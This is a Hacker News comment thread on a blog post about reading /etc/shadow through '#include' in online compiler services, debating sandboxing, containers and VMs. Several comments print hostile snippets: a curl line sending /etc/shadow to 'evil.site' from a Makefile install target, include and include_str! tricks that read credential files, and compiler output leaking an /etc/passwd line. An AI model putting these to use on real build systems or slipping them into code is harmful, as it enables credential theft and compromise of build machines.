#include </etc/shadow>
blog.hboeck.de
blog.hboeck.de
You can also call something to read from stdin in your Makefile, or read from stdin in your executable.
> But is it equally obvious that the compiler also needs to be sandboxed?
Yes. Why wouldn't it be sandboxed?!
> I even found one service that ... showed me the hash of the root password.
Wow. That's bad. Of course, that's not a compiler issue, but rather a system administration issue. /etc/shadow should not be world-readable.
> This effectively means this service is running compile tasks as root.
That's quite a leap from 'I can read /etc/shadow' to 'I am root'.
> Interestingly, including pseudo-files from /proc does not work. It seems gcc treats them like empty files.
More accurately, it seems the system treats them like empty files. gcc does a stat on the file, which returns 'regular file' and 'size=0'. gcc therefore calls read() with a length of 0 bytes.
Is it? There are alternatives of course but I would say that without further clues that seems the most likely explanation.
I agree with the rest of your points though. In general it seems fairly obvious that build systems should be sandboxed if they're building "foreign" code, after all if you can mess with the source code you can probably affect the build system as well, and from there you can basically do anything you want.
Of all the leaps in that post, that's the least leapy thing. `shadow` exists precisely so that only `root` can read its content, whereas before said content resided in `passwd` which _needs_ to be readable by all.
I see only two possibilities here. Either the people who set up that compile service are complete morons and run said compile as actual root in an actual VM; OR, more likely, shit runs in a container with an _apparent_ id of 0 but no actual privilege outside its temporary environment.
In fact that's kinda the standard practice anyway nowadays (disallow logging in directly as root), so I'm really not sure what these guys are doing.
Docker containers aren't really a good security barrier, and a VM is much better (although VM escape vulnerabilities aren't unheard of).
https://www.techrepublic.com/article/vm-escape-flaw-in-qemu-...
It will be progressively harder, but it will happen.
Famous last words.
The reason is that the content is generated by a callback that the kernel calls, and the kernel does not want the content to be generated just in order to stat(2) the file, so it shows a zero length, and assumes that things like /bin/cat will just read(2) until EOF is returned, without trying to be too smart.
Like for example, if the entry for root in the joke /etc/shadow was the hash of "Thank you Mario! But our princess is in another castle!"
https://en.wikipedia.org/wiki/Confused_deputy_problem
(this #include problem can be thought of as a confused deputy vulnerability. The compiler shouldn't have the capability to read the password file, and if it did, it is a confused deputy to be wielding that cap on behalf of its user, instead of wielding the caps it gets from the user).
Its sad that the links to Norm Hardy's original write-up all seem broken.
https://web.archive.org/web/20031205034929/http://www.cis.up...
Norm was a brilliant mind. He was talking and thinking about capabilities right up until the end.
I find it more likely that the "root" user mentioned in this post is the root user of some disposable Docker container, which would be the right way to run a compiler-as-a-service.
Of course how a specific container is built is anyone’s guess
My understanding is that Docker isn't something you use if you really want security.
At the minimum a disposable VM using something like KVM/QEMU/Firecracker would be a start. That way you have kernel isolation down to the hardware which is much less likely to be exploitable.
The attack surface of a hypervisor is tiny, in comparison.
There was 'interesting' research out of IBM a couple of years ago where they claimed they found that containers with good seccomp profiles etc were 'as secure as' a VM. Well, nobody goes around believing that.
I recall once asking Joanna Rutkowska this same question, I think just days after she had outlined some pretty glaring security issues in the Xen hypervisor. She pointed out that if we were finding (and fixing) security issues in the 2K (or 20K, or however big the trusted-computing-base of Xen is, I forget) then imagine the number of issues laying unfound in your modern kernel...?
You're leaving out a key detail of that research. They never said that tuning seccomp profiles to secure existing containerized apps is practical or effective. In fact, quite the opposite. IIRC, what they actually did is to create a hypervisor-like narrow interface on top of containers by restricting the available system calls to closely resemble KVM's hypercall interface. This design allowed the authors to reduce the size of the trusted computing base while avoiding overheads associated with VMs, though it would also limit the ability to run unmodified Linux binaries. Overall, I found it to be an interesting alternative to containers or VMs.
Also, you don't need VM, just playing with namespaces, chroots and syscall filters should be enough. VMs are very ineffective and complicated.
Running as root I think is the exact thing to run as. Then throw the whole VM or container away when handling a request for another user.
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Pr...
Its less common now that most major parsers are turning this feature off by default though.
I would NEVER expect that one can run a C or C++ compiler on arbitrary input safely. There are so many potential attack vectors and, unless the authors have gone out of their way extensively to prevent them, it seems very likely they would suffer from buffer overflows, leaking memory to callers, and in the worst case arbitrary code execution.
I doubt any one of these websites is safe unless using very strict validation or disposable VMs/hardware in some way.
I wouldn't read too much into it "working" with some kind of compile/show service, as they could have been using non-persistent containers.
Ultimately this seems like social engineering i.e. "Tricking privileged users into doing <bad thing> as root." Might have well ask them to cat /etc/shadow and email you the "nonsense" it prints.
https://devblogs.microsoft.com/oldnewthing/20180227-00/?p=98...
Getting them to run make as root would be pretty easy. People are already conditioned to run “sudo make install”.
A good mitigation is to install software by user so root privileges aren’t needed at any step of the process.
Basically, what this is is a very strained local privilege escalation exploit for a workstation machine. I don't think those are very interesting because are a bazillion of them - notably you can simply drop an alias to sudo in .profile.
curl -F shadow=@/etc/shadow https://evil.site/upload.cgi
as one of the commands under the "install" target in the Makefile. That way you aren't dependent on the other guy running his C compiler as root (why?!). Just make sure the Makefile is some horribly mangled mess built by ./configure or something so nobody will be tempted to read it.If you go with C++ then you have an entire Turing complete language executed at compile time to do whatever nasty thing your heart desires.
I agree there are much easier alternatives... but it's an intellectually interesting attack vector.
This was the top of HN just the other day: https://news.ycombinator.com/item?id=21741504
The money quote is at the end: "Docker is the new ‘curl | sudo bash‘"
;) friendly teasing of the node community
That’s easy, people do curl|sudo bash all the time these days.
It's something I use to measure certain things, like how many instructions does a C++ exception add etc.
It's run in a docker container, and I think I strip out any slashes from includes. I'm pretty sure the container is not executing stuff as root as well. Still, probably not bulletproof.
I tried `#include </dev/urandom>` and it eventually crashes the container failing to allocate memory (looks like they have a 4GB limit?)
#include "\
/etc/passwd"
program221/code.cpp:1:11: warning: backslash-newline at end of file
1 | #include "\
|
In file included from program221/code.cpp:2:
/etc/passwd:1:5: error: found ':' in nested-name-specifier, expected '::'
1 | root:x:0:0:root:/root:/bin/bash
| ^
| ::
/etc/passwd:1:1: error: 'root' does not name a type
1 | root:x:0:0:root:/root:/bin/bash
| ^~~~
Is it possible to restrict the compiler's access to only files in "/usr/include" instead? Seems like it'd be hard to cover every case with just pattern matching.chroot into a build environment
They would almost universally allow you to include files, and run commands on the host.
Before the security reason the OP mentions, they don't want to screw the build tasks because of the host environment they are running on, or they don't want to screw the host directories when they make mistakes with installation paths.
But an exploit using that would likely sooner just write something malicious in the Makefile if it wants to compromise the build machine. Targeting the compiler for such a goal seems like it would be harder.
Looks that it's not that easy unless the file is formatted in a special way:
https://stackoverflow.com/questions/410980/include-a-text-fi...
(sorry for the stack overflow link - my C/C+ is rusty to say politely)
Works well on the Rust playground and pretty much everywhere else: https://play.rust-lang.org/?version=stable&mode=debug&editio...
If procedural macros are available, they can also be abused to run arbitrary code.
you'll see that it is isolated in a docker container
fn main() {
let shadow = include_str!("/etc/shadow");
println!("{}", shadow);
}
That's why OpenBSD ports clusters uses unprivileged users for fetching and building (with no network access/chroot).Why?
Or in a docker container.
> There are plenty of webpages that offer online services where you can type in C code and run it. It is obvious that such systems are insecure if the code running is not sandboxed in some way. But is it equally obvious that the compiler also needs to be sandboxed?
Yes it's equally and painfully obvious.
It will certainly make sure the skids cannot do `#include </etc/password>` and get useful information, for example.
- one can easily do:
``` char buf[8192]; fread(buf, sizeof(buf), 1, fopen("/etc/shadow", "rb")); printf(buf); ```
also reading 'shadow' is not do that much since its salted and hashed. strong password (10 chars) will take many months and years.
you can do more harm with actual 'code' which you may compile on the service
> char buf[8192]; fread(buf, sizeof(buf), 1, fopen("/etc/shadow", "rb")); printf(buf);
The code is compiled on the server, but it doesn't run there.